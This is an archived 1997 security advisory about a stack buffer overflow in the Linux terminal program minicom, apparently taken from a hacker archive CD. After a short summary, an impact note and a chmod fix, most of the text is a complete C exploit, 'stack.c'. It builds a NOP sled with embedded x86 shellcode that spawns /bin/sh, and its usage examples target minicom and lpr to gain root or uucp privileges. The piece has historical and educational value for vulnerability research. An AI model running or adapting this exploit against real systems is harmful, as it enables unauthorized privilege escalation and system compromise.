home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_mi.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  5.0 KB  |  146 lines

  1.   well, here is another standard buffer overrun vulnerability, which may
  2. sometimes lead to root compromise (not always. not in new distributions,
  3. fortunately). Current Slackware and current RedHat don't install minicom
  4. suid root, only sgid/uucp, which is not *that* dangerous. But when you
  5. build minicom from source, it asks you to do "chmod +s" on it.
  6.  
  7. Summary:
  8.     Vulnerability in minicom allows (certain) local users to obtain group
  9.   "uucp" privileges and, in certain cases, root privileges.
  10.  
  11. Platforms:
  12.     Supposedly all platforms where minicom is installed suid and/or sgid.
  13.   I have tested it only on several Linux boxes (fresh Slackware 3.1 and
  14.   fresh RedHat 4.1), and it works for me.
  15.  
  16. Description:
  17.     According to man pages, "minicom is a communication program which somewhat
  18.   resembles the shareware program TELIX but is free with source code and runs
  19.   under most unices".
  20.     Minicom binary is usually owned by user "root" and group "uucp", and it
  21.   is "-rwxr-sr-x" or, in some old distributions, "-rwsr-sr-x". Actually,
  22.   minicom has *alot* of arbitrary size buffers and it is really easy to
  23.   overrun some of them. At least one of these overrunable buffers is
  24.   automatic -- an argument to "-d" option of minicom is copied into 128 bytes
  25.   long automatic array. Thus, it is possible to overwrite the function return
  26.   address and to execute an arbitrary code (as usually).
  27.  
  28. Impact:
  29.     If minicom is installed suid root, any user which is permitted to use
  30.   minicom can obtain root shell. If minicom is installed sgid uucp, any
  31.   minicom user can obtain uucp group privileges (please don't think it's
  32.   nothing -- at least on Slackware machines /usr/lib/uucp is group-writeable.
  33.   This means you can easily substitute uucico/uuxqt/etc with your scripts).
  34.  
  35. Solution:
  36.     Quick fix, as usually -- chmod 755 `which minicom`.
  37.  
  38. Exploit:
  39.     Below goes the exploit for Linux. After running this, you have shell with
  40.   uid=0 and euid=your_usual_uid (if minicom is suid root) and gid=uucp
  41.   egid=your_usual_gid. Getting real root and real uucp group permissions from
  42.   that is really too trivial to describe here.
  43.  
  44. ---( quoting file "stack.c" )---
  45.  
  46. /* this stack overflow exploit code was written by jsn <jason@redline.ru>  */
  47. /* provided "as is" and without any warranty. Sun Feb  9 08:12:54 MSK 1997 */
  48. /* usage: argv[0] their_stack_offset buffer_size target_program [params]   */
  49. /* generated string will be appended to the last of params.                */
  50.  
  51. /* examples: stack -600 1303 /usr/bin/lpr "-J"                             */
  52. /*           stack -640 153  /usr/bin/minicom -t vt100 -d ""               */
  53.  
  54. #include <stdlib.h>
  55. #include <unistd.h>
  56. #include <stdio.h>
  57. #include <string.h>
  58. #include <stdarg.h>
  59.  
  60. #define NOP     0x90
  61.  
  62. const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1 ...\n";
  63.  
  64. extern          code();
  65. void    dummy( void )
  66. {
  67.         extern  lbl();
  68.  
  69.         /* do "exec( "/bin/sh" ); exit(0)" */
  70.  
  71. __asm__( "
  72. code:   xorl    %edx, %edx
  73.         pushl   %edx
  74.         jmp     lbl
  75. start2: movl    %esp, %ecx
  76.         popl    %ebx
  77.         movb    %edx, 0x7(%ebx)
  78.         xorl    %eax, %eax
  79.         movb    $0xB, %eax
  80.         int     $0x80
  81.         xorl    %ebx, %ebx
  82.         xorl    %eax, %eax
  83.         inc     %eax
  84.         int     $0x80
  85. lbl:    call    start2
  86.         .string \"/bin/sh\"
  87.  ");
  88. }
  89.  
  90. void            Fatal( int rv, const char *fmt, ... )
  91. {
  92.         va_list         vl;
  93.         va_start( vl, fmt );
  94.         vfprintf( stderr, fmt, vl );
  95.         va_end( vl );
  96.         exit( rv );
  97. }
  98.  
  99. int             main( int ac, char **av )
  100. {
  101.         int             buff_addr;      /* where our code is */
  102.         int             stack_offset = 0,
  103.                         buffer_size = 0, i, code_size;
  104.         char            *buffer, *p;
  105.  
  106.         buff_addr = (int)(&buff_addr);          /* get the stack pointer */
  107.         code_size = strlen( (char *)code );     /* get the size of piece of */
  108.                                                 /* code in dummy()      */
  109.         if( ac < 5 )    Fatal( -1, usage, *av );
  110.  
  111.         buff_addr -= strtol( av[ 1 ], NULL, 0 );
  112.         buffer_size = strtoul( av[ 2 ], NULL, 0 );
  113.  
  114.         if( buffer_size < code_size + 4 )
  115.             Fatal( -1, "buffer is too short -- %d minimum.\n", code_size + 5);
  116.             /* "this is supported, but not implemented yet" ;) */
  117.  
  118.         if( (buffer = malloc( buffer_size )) == NULL )
  119.             Fatal( -1, "malloc(): %s\n", strerror( errno ) );
  120.  
  121.         fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );
  122.  
  123.         for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
  124.                 *(int *)(buffer + i) = buff_addr;
  125.         memset( buffer, NOP, buffer_size/2 );
  126.  
  127.         i = (buffer_size - code_size - 4)/2;
  128.  
  129.         memcpy( buffer + i, (char *)code, code_size );
  130.         buffer[ buffer_size - 1 ] = '\0';
  131.  
  132.         p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
  133.         if( !p )
  134.             Fatal( -1, "malloc(): %s\n", strerror( errno ) );
  135.  
  136.         strcpy( p, av[ ac - 1 ] );
  137.         strcat( p, buffer );
  138.         av[ ac - 1 ] = p;
  139.  
  140.         execve( av[ 3 ], av + 3, NULL );
  141.         perror( "exec():" );
  142. }
  143.  
  144.  
  145. ---( cut line )---
  146.